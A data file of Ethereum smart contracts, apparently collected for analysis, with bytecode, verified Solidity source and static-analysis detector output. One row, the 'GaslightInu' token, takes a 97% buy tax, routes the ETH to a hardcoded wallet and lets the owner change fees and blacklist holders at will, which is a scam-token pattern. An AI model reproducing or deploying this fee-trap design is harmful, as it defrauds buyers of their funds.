ffffffffffffffffffffffff16021790555050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6004828154811061110157fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461116a57600080fd5b60006004838154811061117957fe5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600483815481106111d757fe5b9060005260206000209060020201600001819055505050565b6000808314156112035760009050611270565b600082840290508284828161121457fe5b041461126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117146021913960400191505060405180910390fd5b809150505b92915050565b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114fa565b905092915050565b60008082840190508381101561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6113506116ca565b600360008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff1615151515815260200160018201548152602001600282015481525050905060008160200151146114f657806000015115611457576113ea8160200151600484815481106113ca57fe5b9060005260206000209060020201600001546112c090919063ffffffff16565b600483815481106113f757fe5b90600052602060002090600202016000018190555080604001516004838154811061141e57fe5b9060005260206000209060020201600001541061145257600060036000848152602001908152602001600020600101819055505b6114f5565b61148c81602001516004848154811061146c57fe5b9060005260206000209060020201600001546115c090919063ffffffff16565b6004838154811061149957fe5b9060005260206000209060020201600001819055508060400151600483815481106114c057fe5b906000526020600020906002020160000154116114f457600060036000848152602001908152602001600020600101819055505b5b5b5050565b600080831182906115a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156b578082015181840152602081019050611550565b50505050905090810190601f1680156115985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816115b257fe5b049050809150509392505050565b600061160283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160a565b905092915050565b60008383111582906116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167c578082015181840152602081019050611661565b50505050905090810190601f1680156116a95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220c8187095b1d804ad8a469a10023324176e94ff26fc70203d0576c2094203a34f64736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 648 |
0x0efff9199aa1ac3c3e34e957567c1be8bf295034 | /**
*Submitted for verification at Etherscan.io on 2021-04-14
*/
// SPDX-License-Identifier: AGPL-3.0-or-later\
pragma solidity 0.7.5;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
/*
* Expects percentage to be trailed by 00,
*/
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
/*
* Expects percentage to be trailed by 00,
*/
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
/**
* Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OHMCirculatingSupplyConrtact {
using SafeMath for uint;
bool public isInitialized;
address public OHM;
address public owner;
address[] public nonCirculatingOHMAddresses;
constructor( address _owner ) {
owner = _owner;
}
function initialize( address _ohm ) external returns ( bool ) {
require( msg.sender == owner, "caller is not owner" );
require( isInitialized == false );
OHM = _ohm;
isInitialized = true;
return true;
}
function OHMCirculatingSupply() external view returns ( uint ) {
uint _totalSupply = IERC20( OHM ).totalSupply();
uint _circulatingSupply = _totalSupply.sub( getNonCirculatingOHM() );
return _circulatingSupply;
}
function getNonCirculatingOHM() public view returns ( uint ) {
uint _nonCirculatingOHM;
for( uint i=0; i < nonCirculatingOHMAddresses.length; i = i.add( 1 ) ) {
_nonCirculatingOHM = _nonCirculatingOHM.add( IERC20( OHM ).balanceOf( nonCirculatingOHMAddresses[i] ) );
}
return _nonCirculatingOHM;
}
function setNonCirculatingOHMAddresses( address[] calldata _nonCirculatingAddresses ) external returns ( bool ) {
require( msg.sender == owner, "Sender is not owner" );
nonCirculatingOHMAddresses = _nonCirculatingAddresses;
return true;
}
function transferOwnership( address _owner ) external returns ( bool ) {
require( msg.sender == owner, "Sender is not owner" );
owner = _owner;
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100925760003560e01c8063a0b15ebf11610066578063a0b15ebf14610161578063a6c41fec14610169578063c4d66de814610171578063f00f848b14610197578063f2fde38b146101b457610092565b80626883ba146100975780632e1455621461011b578063392e53cd146101355780638da5cb5b1461013d575b600080fd5b610107600480360360208110156100ad57600080fd5b8101906020810181356401000000008111156100c857600080fd5b8201836020820111156100da57600080fd5b803590602001918460208302840111640100000000831117156100fc57600080fd5b5090925090506101da565b604080519115158252519081900360200190f35b610123610248565b60408051918252519081900360200190f35b6101076102e2565b6101456102eb565b604080516001600160a01b039092168252519081900360200190f35b6101236102fa565b6101456103cf565b6101076004803603602081101561018757600080fd5b50356001600160a01b03166103e3565b610145600480360360208110156101ad57600080fd5b5035610480565b610107600480360360208110156101ca57600080fd5b50356001600160a01b03166104aa565b6001546000906001600160a01b03163314610232576040805162461bcd60e51b815260206004820152601360248201527229b2b73232b91034b9903737ba1037bbb732b960691b604482015290519081900360640190fd5b61023e6002848461065f565b5060019392505050565b600080600060019054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561029957600080fd5b505afa1580156102ad573d6000803e3d6000fd5b505050506040513d60208110156102c357600080fd5b5051905060006102db6102d46102fa565b8390610525565b9250505090565b60005460ff1681565b6001546001600160a01b031681565b60008060005b6002548110156103c957600054600280546103b59261010090046001600160a01b0316916370a08231918590811061033457fe5b60009182526020918290200154604080516001600160e01b031960e086901b1681526001600160a01b0390921660048301525160248083019392829003018186803b15801561038257600080fd5b505afa158015610396573d6000803e3d6000fd5b505050506040513d60208110156103ac57600080fd5b5051839061056e565b91506103c281600161056e565b9050610300565b50905090565b60005461010090046001600160a01b031681565b6001546000906001600160a01b0316331461043b576040805162461bcd60e51b815260206004820152601360248201527231b0b63632b91034b9903737ba1037bbb732b960691b604482015290519081900360640190fd5b60005460ff161561044b57600080fd5b506000805460ff196001600160a01b03841661010002610100600160a81b031990921691909117166001908117909155919050565b6002818154811061049057600080fd5b6000918252602090912001546001600160a01b0316905081565b6001546000906001600160a01b03163314610502576040805162461bcd60e51b815260206004820152601360248201527229b2b73232b91034b9903737ba1037bbb732b960691b604482015290519081900360640190fd5b50600180546001600160a01b0383166001600160a01b0319909116178155919050565b600061056783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506105c8565b9392505050565b600082820183811015610567576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081848411156106575760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561061c578181015183820152602001610604565b50505050905090810190601f1680156106495780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b8280548282559060005260206000209081019282156106b2579160200282015b828111156106b25781546001600160a01b0319166001600160a01b0384351617825560209092019160019091019061067f565b506106be9291506106c2565b5090565b5b808211156106be57600081556001016106c356fea2646970667358221220b739f27e8fe7628513e2739a3a19d0feed0b1ab963c50894ba7af6d982a16c2864736f6c63430007050033 | {"success": true, "error": null, "results": {}} | 649 |
0x293DEE03523F576d85230b8bAC1c8041F8A385a2 | /**
*Submitted for verification at Etherscan.io on 2022-03-25
*/
/**
*/
/**
Elon tweet Play.
Telegram: https://t.me/GaslightInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GaslightInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GASLIGHT INU";
string private constant _symbol = "GASLIGHT INU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x8407C36901D8A858C1AEFFBfb9e3C1A90a3FC5c9);
address payable private _marketingAddress = payable(0x8407C36901D8A858C1AEFFBfb9e3C1A90a3FC5c9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610527578063dd62ed3e14610547578063ea1644d51461058d578063f2fde38b146105ad57600080fd5b8063a2a957bb146104a2578063a9059cbb146104c2578063bfd79284146104e2578063c3c8cd801461051257600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b41146101fe57806398a5c3151461048257600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611931565b6105cd565b005b34801561020a57600080fd5b50604080518082018252600c81526b4741534c4947485420494e5560a01b6020820152905161023991906119f6565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a4b565b61066c565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611a77565b610683565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ab8565b6106ec565b34801561036d57600080fd5b506101fc61037c366004611ae5565b610737565b34801561038d57600080fd5b506101fc61077f565b3480156103a257600080fd5b506102c16103b1366004611ab8565b6107ca565b3480156103c257600080fd5b506101fc6107ec565b3480156103d757600080fd5b506101fc6103e6366004611b00565b610860565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ab8565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611ae5565b61088f565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506101fc61049d366004611b00565b6108d7565b3480156104ae57600080fd5b506101fc6104bd366004611b19565b610906565b3480156104ce57600080fd5b506102626104dd366004611a4b565b610944565b3480156104ee57600080fd5b506102626104fd366004611ab8565b60106020526000908152604090205460ff1681565b34801561051e57600080fd5b506101fc610951565b34801561053357600080fd5b506101fc610542366004611b4b565b6109a5565b34801561055357600080fd5b506102c1610562366004611bcf565b6001600160a01b039182166000908